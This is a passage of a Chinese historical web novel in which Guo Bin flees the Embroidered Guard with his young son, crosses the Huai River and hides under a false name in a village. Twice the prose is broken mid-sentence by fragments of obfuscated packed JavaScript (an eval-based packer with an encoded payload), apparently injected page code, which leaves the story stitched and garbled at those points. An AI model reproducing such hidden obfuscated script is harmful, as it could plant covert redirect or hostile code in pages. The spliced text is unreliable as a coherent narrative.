一场惨烈的厮杀开始了。山谷中,兵器碰撞声、惨叫声、怒吼声此起彼伏。郭斌武艺高强,奋勇杀敌,很快便斩杀了几名锦衣卫。但锦衣卫人数众多,且装备精良,族人们渐渐体力不支,伤亡惨重。 “夫君,你快带着玘儿走!”沈氏大声道,“我来掩护你们!” “不行!我不能丢下你!”郭斌怒吼道。 “夫君,为了郭家,为了玘儿,你必须走!”沈氏的声音带着一丝决绝,“你若不走,我们所有人都要死在这里!郭家的香火,不能断!” 郭斌看着妻子坚定的眼神,看着怀中懵懂的儿子,心中充满了痛苦与不舍。他知道,妻子说得对,他必须走,必须带着儿子,延续郭家的香火。 “夫人,保重!”郭斌眼中含泪,将郭玘紧紧抱在怀中,“等我安顿好玘儿,定会回来找你!” 沈氏点点头,眼中含泪,转身冲向锦衣卫,大声喊道:“郭景扬在这里!快来抓我!” 锦衣卫们纷纷朝着沈氏冲去。郭斌趁机带着几名剩余的族人,从山谷的另一侧小路,突围而出。 他回头望了一眼山谷中被锦衣卫包围的妻子,心中充满了悔恨与痛苦。他知道,妻子这一去,定然是凶多吉少。但他不能回头,只能带着儿子,拼命奔逃。 夜幕再次降临,郭斌带着几名族人,终于摆脱了锦衣卫的追击。他们来到一处破败的山神庙,暂时安顿下来。 郭斌抱着熟睡的郭玘,看着怀中儿子稚嫩的脸庞,泪水终于忍不住落下。他失去了妻子,失去了众多族人,失去了曾经拥有的一切。如今,他只剩下怀中的儿子,以及儿子襁褓中那半块“勇”字玉佩。 “玘儿,对不起。”郭斌轻声道,“是父亲无能,没能保护好你母亲,没能保护好族人。但你放心,父亲定会拼尽全力,保护好你,让你平安长大。你要记住,你是郭兴的后人,是‘忠勇’二字的传承者。无论未来遇到何种困难,都要坚守‘忠勇’初心,不可忘记家族的血海深仇。” 他轻轻抚摸着儿子襁褓中的玉佩,心中暗暗发誓:一定要带着儿子,安全抵达濠州乡下。等风头过后,再前往海州,重振郭家,为妻子、为兄长、为所有死去的族人,报仇雪恨。 山神庙外,夜色深沉,风依旧吹着,带着血腥的气息。郭斌知道,前往濠州乡下的路途,依旧充满了未知与危险。锦衣卫可能随时会追来,沿途的关卡也可能会带来麻烦。但他没有退路,只能勇往直前。 怀中的郭玘似乎感受到了父亲的悲伤,轻轻哼唧了一声,小手紧紧抓住了郭斌的衣襟。郭斌心中一暖,抱紧了儿子。他知道,只要儿子还在,郭家的希望就在。只要那半块“勇”字玉佩还在,家族的传承就不会断。 次日清晨,郭斌带着几名剩余的族人,再次踏上了前往濠州乡下的路途。他们隐姓埋名,小心翼翼地避开一切可能的危险。郭斌知道,自己不再是曾经的巩昌侯府二公子郭景扬,而是一个背负着家族血海深仇、肩负着延续香火重任的逃亡者郭斌。 他的前路,注定充满了荆棘与坎坷。但他心中有坚定的信念,有对家人的牵挂,有对家族的责任。他相信,只要坚守“忠勇”二字,只要那半块玉佩还在,郭家就一定能在绝境中重生,在濠州的泥土中,在海州的海滨,长出坚韧的根。 而此刻,远在京城的巩昌侯府,早已被大火烧毁,只剩下一片废墟。郭景振被押往辽东流放,途中便被锦衣卫秘密处死。郭兴被追夺爵位,家产抄没,族人大多被流放边疆,或死于非命。曾经风光无限的巩昌侯府,如同流星般陨落,消失在洪武年间的血雨腥风中。 但郭斌并不知道兄长的死讯。他带着儿子,带着那半块“勇”字玉佩,带着家族的希望,在乱世中艰难前行。他知道,自己的逃亡之路才刚刚开始,而更大的挑战,还在前方等待着他。濠州乡下的祖居地,能否成为他暂时的避风港?他又能否带着儿子,最终抵达海州,延续郭家的香火?这一切,都还是未知数。 唯有那半块“勇”字玉佩,在郭玘的襁褓中,散发着温润的光芒,如同黑暗中的一盏明灯,指引着郭斌前行的方向,也见证着一个破碎家族的苦难与坚守。 5. 第一卷 淮西裂璧 第5章 淮河夜渡 洪武二十三年暮春,夜色如墨,淮河水面泛着粼粼冷光。郭斌身着粗布短衫,将幼子郭玘紧紧护在怀中,身后跟着七名幸存的族人,皆弓着身子藏在芦苇丛中。三天前从山谷突围时,妻子沈氏为引开锦衣卫追兵,毅然冲向敌阵,至今生死未卜。郭斌强压着心中的悲痛与焦灼,目光警惕地扫视着河岸——想要前往濠州祖居地,这道天堑是必经之路。 “郭斌先生,对岸渡口有官兵盘查,看得极严。”族中年轻的郭忠压低声音禀报,他的手臂还缠着绷带,是突围时被锦衣卫砍伤的。 郭斌顺着他的目光望去,只见对岸渡口灯火通明,四名身着皂衣的衙役手持火把,正逐一审问过河的行人。更远处,还有一队巡逻的兵丁来回踱步,甲胄碰撞声在寂静的夜色中格外刺耳。“是河防巡检司的人。”郭斌沉声道,指尖下意识地摸向腰间的短刀——那是他从锦衣卫尸体上取下的,如今是唯一的防身武器,“胡党案牵连甚广,沿途关卡都查得极严,没有路引,根本过不了河。” 老管家郭福喘着粗气,脸上满是疲惫:“先生,我们已经三天没正经吃东西了,玘少爷也饿坏了。再这样耗下去,就算不被官兵抓住,也撑不住了。”他的儿子在山谷突围时战死,如今只剩下他一个老人,却依旧咬牙跟着逃亡,怀中还紧紧揣着郭兴生前的手书残页。 郭斌低头看向怀中的郭玘,三岁的孩子嘴唇干裂,却懂事地没有哭闹,只是小手紧紧抓着他的衣襟。他从怀中取出最后一小块干粮,用牙齿嚼碎,小心翼翼地喂给儿子。干粮粗糙难咽,郭玘皱了皱眉头,却还是咽了下去。郭斌心中一酸,又摸了摸儿子襁褓中那半块“勇”字玉佩,玉佩温润的触感让他稍稍镇定——这是郭家的信物,是家族存续的希望,他必须带着儿子活下去。 “再等等,夜深了官兵会松懈些。”郭斌沉声道,将剩余的族人分成两组,一组轮流放哨,一组抓紧时间休息。他自己则靠着芦苇秆,闭目养神,脑海中却不断浮现沈氏冲向前去的身影,心中如刀割般疼痛。他不知道妻子是否还活着,但他不能回头,只能带着儿子和族人,继续逃亡。 夜色渐深,渡口的灯火渐渐稀疏,巡逻的兵丁也减少了频次。郭斌知道,时机到了。他让郭福带着族人留在芦苇丛中隐蔽,自己则抱着郭玘,与郭忠一同悄悄摸向河岸,想要寻找一艘渡船。 河岸上停泊着五艘渔船,船家早已睡下。郭斌正想叫醒最外侧一艘船的船家,却听到不远处传来低声交谈声。 “听说了吗?胡党余波再起,皇帝大肆清洗功臣,牵连了好几万人呢!”一个粗哑的声音说道,带着几分幸灾乐祸。 “可不是嘛!连巩昌侯府都被抄了,郭景振那侯爷被流放辽东,半路上就被锦衣卫宰了!”另一个声音附和道,“主上这次是铁了心要清除功臣,咱们这些小老百姓,还是少管闲事为妙。” 郭斌的心猛地一沉。兄长的死讯如同惊雷,让他浑身冰冷。他强压下心中的悲痛与愤怒,继续听着两人的谈话。 “不过话说回来,这几年赋税越来越重,咱们日子也不好过。”粗哑的声音叹道,“去年淮河泛滥,庄稼歉收,官府不仅不减税,反而加收了河工银,好多人家都被逼得卖儿卖女了。” “谁说不是呢!当年张士诚王爷在的时候,赋税可比现在轻多了,还从不强征劳役……”另一个声音刚说完,便被粗哑的声音打断:“小声点!你不要命了?敢提那反贼的名字!要是被官府听见,咱们都得掉脑袋!” 郭斌心中一动。张士诚,元末群雄之一,当年与朱元璋争夺天下,兵败被杀后,其旧部散落各地,一直对明朝心怀怨恨。这两人提及张士诚,语气中带着怀念,莫非是他的旧部? 他悄悄退了回来,对郭福和郭忠道:“渡口盘查太严,船家不敢私自摆渡。我们往上游走,看看有没有偏僻的浅滩或者无人看管的渡口。” 一行人沿着河岸向上游跋涉,夜色中,芦苇丛生,湿滑的泥土让他们步履维艰。郭斌抱着郭玘,深一脚浅一脚地走着,额头上渗出细密的汗珠。郭玘在他怀中睡着了,呼吸均匀,小小的手掌却始终紧紧抓着他的衣服。 走了约莫一个时辰,前方终于出现了一个小小的村落,村口有一个简陋的渡口,只有两名衙役在篝火旁打盹,似乎并未认真盘查。 “就从这里过。”郭斌下定决心。他让郭福带着其他族人藏在村外的树林里,自己则抱着郭玘,让郭忠装作赶集的百姓,先去试探一下。 郭忠走到渡口,故意咳嗽了一声。两名衙役被惊醒,揉了揉眼睛,不耐烦地问道:“干什么的?半夜三更过什么河?路引呢?” “官爷,我们是附近村子的,家里有急事,要去对岸找郎中,实在没来得及带路引。”郭忠陪着笑脸,从怀中取出一小块碎银,悄悄塞给其中一名衙役。 衙役掂了掂碎银,脸色缓和了些:“急事?什么急事比命还重要?如今查得这么严,没有路引可不行。” “是我儿子得了急病,快不行了,求官爷行个方便。”郭忠指着郭斌怀中的郭玘,语气急切。 两名衙役对视一眼,看向郭斌怀中的孩子,见郭玘确实睡得安稳,不像是生病的样子,眼中顿时露出怀疑的神色:“你这孩子看着好好的,怕是在骗我们吧?该不会是胡党余孽想要逃跑?” “官爷明察!小人怎敢欺骗您?”郭忠连忙辩解,“孩子是烧糊涂了,现在睡着了,要是再耽误,就真的没命了!” 一名衙役还想追问,另一名衙役却拉了拉他的衣袖,低声道:“算了,看他们也不像坏人,再说半夜三更的,也掀不起什么风浪。让他们过河吧,省得麻烦。” 那衙役犹豫了一下,点了点头:“好吧,算你们运气好。快找船家摆渡,天亮前必须过河,不准在村里停留!” 郭忠心中一喜,连忙谢过衙役,转身朝着树林的方向挥手。郭斌抱着郭玘,带着族人快步走出树林,来到渡口。 就在这时,村口突然传来一阵马蹄声,紧接着,火把的光芒照亮了半边天空。郭斌心中一沉,以为是锦衣卫追来了。可仔细一看,却发现来的是一群身着黑衣的蒙面人,约莫二十余人,骑着马,手持弯刀,直奔渡口而来。 “是张士诚的旧部!”一名衙役惊呼道,脸上露出恐惧的神色,转身就想跑。 “站住!”为首的蒙面人厉声喝道,手中的弯刀一挥,便将一名衙役砍倒在地。另一名衙役吓得腿一软,瘫倒在地,被蒙面人一刀结果了性命。 蒙面人很快便控制了渡口,为首的蒙面人看向郭斌一行人,目光锐利如刀:“来者可是巩昌侯府的郭景扬公子?” 郭斌心中一惊,他们怎么知道自己的身份,难道他们的探子一直跟踪?他没有回应,只是将郭玘紧紧护在怀中,同时示意族人做好防备。 “郭公子不必惊慌!”为首的蒙面人继续喊道,“我们是诚王旧部,素来敬佩郭兴将军的为人。如今郭府遭难,朱元璋那暴君滥杀功臣,我们愿助先生一臂之力,共图大事!” “共图大事?”郭斌眉头一皱,“阁下是想让我背叛朝廷,与你们一同谋反?” “谋反?”蒙面人哈哈大笑,“朱元璋能从一个乞丐坐上皇帝宝座,诚王当年也能!如今他忘恩负义,屠杀功臣,早已失尽民心。郭公子,你兄长被他无辜杀害,家族被他抄没,难道你不想报仇吗?” 郭斌心中一痛,兄长的死、家族的难、妻子的生死未卜,一幕幕在他脑海中浮现。但他随即想到了父亲的教诲,想到了“忠勇”二字中的“忠”字。郭家世代忠良,从祖父郭山甫追随太祖起兵,到父亲郭兴征战沙场,始终对朝廷忠心耿耿。即便遭受不白之冤,也不能背叛朝廷,沦为反贼。 “多谢阁下好意,但我郭家世代忠君爱国,绝不会背叛朝廷。”郭斌沉声道,“我只想带着家人和族人,找一个安稳的地方隐居,了此残生。还请阁下让路。” “冥顽不灵!”为首的蒙面人脸色一沉,“郭公子,你可想好了?朱元璋不会放过你的,你今日拒绝我们,日后必定会被他赶尽杀绝!” “我意已决,不必多言。”郭斌不再理会他,转身对船家道,“船家,麻烦你摆渡,我们愿意付双倍的船费。” 船家被这突如其来的变故吓得瑟瑟发抖,哪里敢摆渡,连忙摆手:“不行不行,我不敢……” 为首的蒙面人冷笑一声:“郭景扬,你以为你今天能走得了吗?要么归顺我们,一起反明,要么就留在这里!想当年郭兴败了诚王,父仇子还,正是时候!” 郭斌知道,不能与他们纠缠。他使了个眼色,郭忠和几名年轻族人立刻上前,护住郭斌和郭福,同时朝着蒙面人冲去。郭斌则趁机抱着郭玘,跳上一艘小船,解开缆绳,想要自己划船过河。 “拦住他们!”为首的蒙面人怒喝一声,蒙面人们纷纷拔刀,与郭忠等人展开厮杀。 郭忠等人虽然武艺尚可,但蒙面人身强体壮,且人数众多,很快便落入下风。一名族人被蒙面人砍中手臂,惨叫一声倒在地上。郭斌看着受伤的族人,心中焦急万分,却只能奋力划桨——他知道,只有自己带着郭玘过河,才能为郭家保留一丝血脉。 小船缓缓驶离岸边,郭斌回头望去,只见郭忠等人还在奋力抵抗,却已是强弩之末。为首的蒙面人看向他的小船,眼中闪过一丝狠厉,拿起弓箭,对准了郭斌。 “小心!”郭忠大喊一声,奋力冲向蒙面人,想要阻止他。 蒙面人反手一刀,将郭忠砍倒在地,随即拉弓射箭,箭矢直奔郭斌而来。郭斌心中一紧,连忙侧身躲避,箭矢擦着他的肩膀飞过,射中了船舷。 “夫君!” 就在这时,远处突然传来一声熟悉的呼喊。郭斌心中一震,猛地回头,只见沈氏衣衫褴褛,头发散乱,被两名蒙面人押着,站在岸边。她的手臂上有一道深深的伤口,鲜血染红了衣袖,却依旧奋力挣扎着,朝着他的方向呼喊。 “夫人!”郭斌眼中含泪,想要划船回去救她。 “不要回来!”沈氏大声喊道,“带着玘儿走!一定要活下去!为郭家保留香火!” 为首的蒙面人见状,冷笑一声:“郭景扬,你的夫人在我们手上。想要她活命,就立刻回来归顺我们!否则,我现在就杀了她!” 沈氏看着郭斌,眼中满是决绝:“夫君,不要管我!记住你的使命!带着玘儿走!” 说完,她猛地挣脱蒙面人的束缚,朝着旁边的河水中冲去。“噗通”一声,沈氏跳入了湍急的淮河中,很快便被水流冲走。 “夫人!”郭斌撕心裂肺地呼喊着,想要划船回去寻找,却被为首的蒙面人再次射箭阻拦。 “郭景扬,你的夫人已经死了,你还是归顺我们吧!”为首的蒙面人冷笑道。 郭斌看着妻子消失的方向,心中悲痛欲绝,却知道自己不能回去。他紧紧抱着郭玘,泪水模糊了双眼,奋力划桨,小船朝着对岸驶去。 小船在淮河水面颠簸前行,郭斌奋力划桨,手臂酸痛难忍,却不敢有丝毫停歇。身后,蒙面人与族人的厮杀声渐渐远去,只有妻子沈氏跳入河中时的身影,在他脑海中反复浮现,让他心如刀绞。 郭玘被惊醒了,看着父亲泪流满面的模样,懵懂地伸出小手,擦了擦他的脸颊:“爹,你怎么哭了?娘呢?” 郭斌强压下心中的悲痛,挤出一丝笑容:“娘……娘去给玘儿买糖了,过几天就会来找我们。”他知道,这个谎言迟早会被戳破,但他不想让年幼的儿子过早承受失去母亲的痛苦。 郭玘似懂非懂地点点头,紧紧抱住郭斌的脖子:“爹,我不要糖,我要娘。” 郭斌闭上眼睛,泪水再次滑落。他紧紧抱着儿子,心中暗暗发誓:玘儿,爹一定会保护好你,让你平安长大。等你长大了,爹再告诉你,你有一个多么勇敢的娘。 小船终于在黎明时分靠了对岸。郭斌抱着郭玘,跳上岸,朝着远处的树林跑去。他知道,蒙面人可能还会追来,必须尽快与幸存的族人汇合。 跑了约莫半个时辰,郭斌终于在一处破庙前看到了郭福和两名受伤的族人。他们身上都带着伤,脸色苍白,显然是从蒙面人的包围中突围出来的。 “先生!您没事吧?玘少爷还好吗?”郭福看到郭斌,连忙迎上前。 “我没事,玘儿也还好。”郭斌摇摇头,目光扫过众人,“其他人呢?郭忠呢?” 提到郭忠,郭福的眼中闪过一丝悲痛:“郭忠为了掩护我们突围,被蒙面人杀了……其他族人也都失散了,不知道是死是活。” 郭斌心中一沉,又是一条鲜活的生命逝去了。这场逃亡,让他失去了妻子,失去了兄长,失去了众多族人,只剩下这几个人相依为命。 “先生,我们现在该怎么办?”一名受伤的族人问道,语气中带着绝望。 “先在这破庙里休整一下,处理伤口,补充些体力。”郭斌沉声道,“等天亮后,我们再前往濠州祖居地。那里是我们郭家的根,应该会有熟人接应。” 破庙早已破败不堪,屋顶漏着天,墙壁上布满了裂缝。郭斌让族人在庙中休息,自己则出去寻找食物和水源。他在附近的小溪边找到了一些野果和野菜,又打了几只野兔,带回了破庙。 众人围在一起,烤着野兔,吃着野果,气氛十分沉重。没有人说话,每个人的脸上都写满了悲痛与不安。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他看着郭斌和族人身上的伤,又看了看破败的破庙,心中满是愧疚:“都怪我来晚了,让你们受苦了。” “不晚,一点都不晚。”郭斌的声音带着一丝哽咽,“若不是你及时赶到,我们可能还会遭遇更多危险。” 李诚扶着郭斌,走进破庙,让手下的士兵给族人分发了食物和药品,又给受伤的族人重新包扎了伤口。 “公子,我家侯爷有几句话让我带给你。”李诚神色凝重地说。 郭斌心中一紧,连忙道:“李叔请说。” “郭铭公子已经打探到确切消息,郭景振先生在流放辽东的途中,被锦衣卫秘密处死了。”李诚缓缓道,语气中带着一丝悲痛,“主上对胡党余孽追查甚严,凡是与胡惟庸有过牵连的勋贵,几乎都被斩尽杀绝。” 郭斌的身体猛地一震,虽然早已预料到兄长的结局,但亲耳听到,依旧让他悲痛万分。他闭上眼睛,深深吸了一口气,才强压下心中的情绪。 “我家公子还说,郭景振先生身上的那半块‘忠’字玉佩,已被他设法从锦衣卫手中取回,暂时由他收存。”李诚继续道,“他让我转告你,郭家的血海深仇,暂且记下。待郭玘公子长成,有了自保之力,再将两块玉佩合璧,商议后续之事。当前最重要的,是保护好玘少爷,延续郭家的香火。” 郭斌点点头,从怀中取出那半块“勇”字玉佩,轻轻摩挲着。玉佩温润依旧,断裂处的纹路却仿佛在诉说着家族的苦难。他知道,兄长的死,妻子的失踪,族人的牺牲,都是郭家的血海深仇。但他不能冲动,必须忍耐,等待时机。 “还有,我家侯爷与公子让我提醒你,濠州祖居地虽然是郭家的根,但如今胡惟庸案牵连甚广,锦衣卫四处搜捕胡党余孽,濠州作为淮西重地,也被严密监视,并非绝对安全。”李诚沉声道,“他建议你不要前往濠州,而是直接跟随我前往海州。海州是鲁荒王朱檀的辖地,鲁荒王是主上与郭宁妃所生,与郭家有亲。我家公子已与鲁荒王暗中联络,他承诺会庇护你们。” 郭斌心中一动。他原本打算前往濠州祖居地暂时躲避,但李诚说得对,如今濠州也未必安全。海州有鲁荒王庇护,还有郭铭安插的旧部接应,确实是更好的选择。 “好,我们听李叔的安排,前往海州。”郭斌沉声道。他知道,现在不是固执的时候,保全自己和郭玘的性命,才是最重要的。 李诚点点头,脸上露出一丝欣慰:“这样最好。我们已经准备好了马匹和干粮,现在就启程前往海州。沿途的关卡,我会想办法打点,确保你们安全通过。” 郭斌看着李诚带来的马匹和物资,心中充满了感激。郭铭的雪中送炭,让他在绝望中看到了希望。他知道,自己并非孤军奋战,武定侯府始终在暗中支持着他。 “李叔,多谢你。”郭斌躬身道,“多谢铭哥的相助。这份恩情,郭家没齿难忘。” “公子客气了。”李诚扶起他,“我家公子与你兄弟情深,巩昌侯府与武定侯府本是一脉,相互扶持是应该的。再说,郭兴将军当年对我有知遇之恩,临终前托我照佛公子,怎奈我等力量微薄。如今郭家遭难,我们理当肝脑涂地,以死相报!” 郭斌热泪盈眶,不再说话,只是紧紧抱着郭玘,翻身上马。郭福和两名族人也跟着上了马,跟在李诚身后。 队伍朝着海州的方向出发了。郭斌骑在马上,回头望了一眼淮河的方向,心中默念:“夫人,你放心,我一定会带着玘儿平安抵达海州,让他平安长大。等我们站稳脚跟,我一定会回来找你,无论你是生是死,我都要找到你。” 风吹过田野,带着泥土的气息。郭斌知道,前往海州的路途依旧漫长而艰险,锦衣卫的搜捕、张士诚旧部的纠缠、沿途关卡的盘查,都可能成为他们的阻碍。但他不再畏惧,因为他有李诚的接应,有族人的陪伴,有儿子的寄托,还有那半块象征着家族传承的“勇”字玉佩。 他低头看着怀中的郭玘,小家伙正好奇地打量着四周的景色,小脸上没有丝毫恐惧。郭斌心中一暖,轻轻抚摸着儿子的头:“玘儿,我们要去一个新的地方了。那里有大海,有田野,还有很多善良的人。等我们到了那里,就可以安稳地生活了。” 郭玘似懂非懂地点点头,伸出小手,摸了摸郭斌的脸颊:“爹,我想娘了。” 郭斌的眼中闪过一丝痛楚,却还是笑着说:“娘很快就会来找我们的。玘儿要乖,要好好长大,等娘来了,让娘看看,我们玘儿已经长成一个勇敢的小男子汉了。” 队伍继续前行,朝着东方的海州走去。阳光洒在他们身上,仿佛给他们镀上了一层金色的光芒。郭斌知道,这场逃亡之路还未结束,但他心中已经有了坚定的信念——无论遇到多大的困难,他都要带着儿子和族人,平安抵达海州,延续郭家的香火,守住郭家的“忠勇”初心。 而那半块“勇”字玉佩,在郭玘的襁褓中,散发着温润的光芒,如同黑暗中的一盏明灯,指引着他们前行的方向,也见证着一个破碎家族在乱世中的坚守与希望。 6. 第一卷 淮西裂璧 第6章 隐姓乡野 洪武二十三年初夏,淮水提前暴涨,河面宽阔如海,浊浪翻滚,拍击着堤岸,发出沉闷的轰鸣。郭斌与李诚在一处渡口的破亭中对坐,亭外暴雨如注,雨点打在瓦檐上,溅起细密的水花。李诚的军卒们披着蓑衣,牵着马匹在河边候命,马蹄下的泥水已没过脚踝。 “淮河东去便是泗州,再走便是淮安府,沿途巡检司查得极严。”李诚摊开一张旧地图,指尖沿着河道划下,“巩昌侯府抓捕虽已过去数月,但锦衣卫在淮东一带的搜捕并未松懈。若此时强行东渡,恐难通过。” 郭斌怀中抱着熟睡的郭玘,孩子的小脸因连日奔波而显得有些消瘦,额角的胎发被雨水打湿,贴在皮肤上。他的目光落在地图上,沉默许久,才缓缓开口:“李叔,你我都清楚,如今海州是唯一的去处。可这一路艰险,族人多有伤在身,若再遇截杀,恐怕……” “公子的意思是——”李诚抬眼。 “暂缓东渡。”郭斌压低声音,“淮西是我郭家旧地,濠州更是祖居所在。最危险的地方,有时反而最安全。不如先在淮河西岸乡野隐姓埋名,待风声稍缓,再做计较。” 李诚沉吟片刻,点头道:“这也是权宜之策。只是,濠州虽有旧人,可如今局势……人心难测。” “我自有分寸。”郭斌望向亭外连绵的雨幕,目光中带着一丝坚毅,“郭家在濠州有恩于乡邻,当年我祖父郭山甫曾出资修堤,父亲在世时常开仓赈济。若能寻得旧时相识,必能暂避一时。” 当下议定,李诚将带来的干粮、盐巴、药草分了一半给郭斌,又留下两名心腹军卒,换上粗布衣,装作行脚郎中,暗中护送。其余人则先行返回海州报信,待时机成熟再来接应。 李诚带领军士翻身上马,道声“后会有期”,赶去京城。 雨稍歇,郭斌带着郭福、几名受伤族人,以及李诚留下的两名“郎中”,踏上了前往濠州的小路。他们避开官道,沿着田间小径行走,沿途尽是积水的沟渠与泥泞的田埂。郭玘在父亲怀中醒了几次,咿咿呀呀地问东问西,郭斌总是温声细语地敷衍过去,不敢提“郭”字,只以“我们这家人”代称。 第三日傍晚,他们来到一处名为“柳湾”的小村。村子三面环水,一面靠山,村头一株老槐树如伞如盖,树荫下有几位老人在纳凉。郭斌让众人在村外的破土地庙暂歇,自己则带着郭福,装作逃荒的外乡人,前往村中打探。 老槐树下,一位须发皆白的老者正在编竹篮,见到郭斌二人,停下手中活计,眯眼打量:“你们是外乡来的?” 郭斌躬身行礼,抱拳答道:“老人家,我们是南边来的,家乡遭了水,一路逃荒至此,想在贵地寻个活计,讨口饭吃。” 老者叹了口气:“这年头,谁家日子都不好过。去年河决,今年又涝,官府还要加派河工银,唉……”他说着,目光落在郭斌怀中的郭玘身上,神色微动,“这孩子眉眼,倒像我认识的一家人。” 郭斌心中一紧,面上却不动声色:“老人家见多识广,怕是认错了。” 老者摇摇头,不再多言,只问:“你们可有路引?” 郭斌取出李诚事先准备的假路引,递了过去。老者看了看,并未细究,只道:“若不嫌弃,村西头有几间废弃的磨坊,是早年郭府出资修的,如今荒了。你们若不嫌弃,可暂住那里,只是要小心些,近日巡检司的人常来村里盘查。” “郭府?”郭斌心中一震,却故作不解,“老人家说的是哪家郭府?” 老者眼中闪过一丝警觉,压低声音:“前些时候倒了的那一家。唉,不说也罢。你们若见到一个姓郭的,就当没看见,这年头,多一事不如少一事。” 郭斌与郭福对视一眼,皆从对方眼中看到了一丝希望。告别老者,二人返回土地庙,带着族人前往村西的废弃磨坊。 磨坊依河而建,墙体斑驳,屋顶漏着天,水磨早已腐朽。郭斌指挥族人清理出一间相对完好的屋子,铺上干草,暂时安顿下来。两名“郎中”则在村中摆摊,为百姓看病,换些粮米,同时打探消息。 几日后,村中来了一队巡检司的衙役,挨家挨户盘查户口。郭斌早已将族人分散在磨坊四周的柴房、草棚中,自己则抱着郭玘,坐在磨坊门口的石阶上,装作修补竹篮。 “你是这里的人?”为首的衙役喝道。 “回官爷,小人是南边来的,在此磨坊帮工。”郭斌躬身答道。 衙役上下打量他一番,又看了看郭玘,问道:“这是你儿子?叫什么名字?” 郭斌心中一紧,面上却笑着答道:“小人姓王,孩子小,还没取名。” “姓王?”衙役狐疑地看了他一眼,又在磨坊四周转了一圈,见无异常,才带着人离去。 衙役走后,郭斌长长地松了一口气。他知道,这只是暂时的安全。只要“郭”这个姓氏一出口,他们便会陷入万劫不复之地。 日子在艰难与平静中缓缓流逝。郭斌与族人在磨坊旁开垦了几亩荒地,种上了粟米和豆子。两名“郎中”医术尚可,渐渐在村中站稳了脚跟,时常有人上门求医,也会送些粮米、蔬菜作为酬谢。郭福则在磨坊旁搭了个草棚,做起了修补农具的营生。 郭玘渐渐长大,从蹒跚学步到奔跑嬉闹,小小的身影给这个逃亡的家庭带来了一丝生机。他不知道自己姓郭,只知道父亲叫“王先生”,自己叫“小玘”。村里的孩子都叫他“玘娃”,他也乐意应着。 这一日,郭玘在磨坊后的河滩上玩耍,捡到了一块被水冲刷得光滑的石子,兴冲冲地跑回磨坊,举到郭斌面前:“爹,你看,这块石头像不像你常摸的那块玉?” 郭斌心中一震,从怀中取出那半块“勇”字玉佩,放在手心,与郭玘手中的石子对比。玉佩温润如玉,“勇”字的笔画在阳光下熠熠生辉,而石子则粗糙无光。他轻轻摩挲着玉佩,眼中闪过一丝复杂的情绪。 “爹,这块玉为什么总是藏着不让人看?”郭玘好奇地问。 郭斌蹲下身子,与儿子平视,轻声道:“因为这是我们家的传家宝,不能让外人知道。” “那我们家姓什么?”郭玘又问。 郭斌沉默片刻,指着玉佩背面的暗纹,那是一个极细的古体“郭”字,若非仔细观察,根本无法察觉。他将玉佩放在郭玘的手心,郑重地说:“这是我们的姓,记着就好。” 郭玘似懂非懂地点点头,将玉佩还给父亲,又跑去河滩上玩耍了。郭斌看着儿子的背影,心中百感交集。他多么想告诉儿子,他是开国功臣郭兴的孙子,是巩昌侯府的继承人,可他不能。在这个风声鹤唳的年代,“郭”这个姓氏,就是招来杀身之祸的根源。 两年的时光,在日出而作、日落而息的平淡生活中悄然过去。洪武二十八年,胡惟庸案的余波渐渐平息,锦衣卫的搜捕也不再那么频繁。郭斌心中的警惕却丝毫未减,他知道,只要朱元璋还在位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老人家,”郭斌压低声音,“我确实是郭兴之子郭景扬,如今改名郭斌。但此事关系重大,还请老人家保密。” 赵老郑重地点点头:“老奴明白。将军生前对老奴有知遇之恩,老奴怎会出卖将军之子?如今柳湾不宜久留,老奴有一去处,可保你们安全。” “何处?”郭斌问。 “离此二十里的地方,有一处废弃的庄园,是当年郭将军为安置伤兵而建。庄园四面环山,易守难攻,如今虽已荒废,但老奴每年都会去打理。若你们愿意,可暂居那里。”赵老答道。 郭斌沉吟片刻,点头道:“多谢老人家。事不宜迟,我们今夜便动身。” 夜幕降临,郭斌带着族人,在赵老的带领下,踏上了前往废弃庄园的小路。月光如水,洒在林间小道上,映出斑驳的树影。郭玘在父亲怀中睡着了,小手紧紧抓着他的衣襟。 “爹,我们要去哪里?”郭玘在梦中喃喃道。 郭斌轻轻抚摸着儿子的头,低声道:“去一个安全的地方。” 他知道,这个废弃的庄园,或许只是他们逃亡路上的又一个临时避难所。但只要能让儿子平安长大,能让族人暂时安身,他就会不遗余力地去争取。 远处,废弃庄园的轮廓在月光下渐渐清晰。郭斌深吸一口气,抱紧怀中的儿子,加快了脚步。他知道,他们的逃亡之路还远未结束,但只要心中的信念不灭,只要那半块“勇”字玉佩还在,郭家就有希望。 7. 第一卷 淮西裂璧 第7章 祖宅残影 洪武二十九年秋,淮西的风褪去了暑气,带着草木的干爽气息掠过田野。柳湾村外的山坳里,郭斌正带着郭玘在地里收割粟米。五岁的孩子穿着粗布短褂,小手里攥着一把迷你镰刀,有模有样地跟在父亲身后,只是动作笨拙,割下的禾穗多半散落在地。 “玘儿慢些,别割到手。”郭斌停下手中的活计,弯腰捡起儿子掉落的禾穗,目光不自觉地望向西南方向——那里是临淮乡下的郭氏祖宅所在地。当年父亲郭兴虽封巩昌侯,在南京城内有朝廷钦赐的侯府,但因常年镇守淮西、操练兵马,便将父亲郭山甫留下的老宅修缮扩建,作为家族根基与练兵期间的居所。如今南京的巩昌侯府早已随着胡惟庸案的余波被查抄封禁,而临淮祖宅,才是郭斌心中真正的“家”。 两年来,他们在赵老引荐的废弃庄园中安稳蛰伏。庄园四面环山,只有一条小路与外界相通,平日里鲜有人至。赵老时常送来外界的消息,偶尔也会带来一些郭英一脉的传闻。郭斌心中的石头,随着时间的推移,渐渐减轻了些分量。 “爹,赵爷爷说,我们以前的家有很大的院子,还有会开花的树,是真的吗?”郭玘扔下镰刀,跑到父亲身边,仰着小脸问道。 郭斌心中一酸,伸手揉了揉儿子的头:“是真的。那里是曾祖父亲手搭建的宅子,有你祖父栽种的老槐树,春天会开白色的花,落在地上像雪一样。” “那我们为什么不回去住?”郭玘好奇地问。 郭斌沉默片刻,指着远处的山峦:“因为那里现在有危险。等玘儿长大了,等天下太平了,我们就回去。” 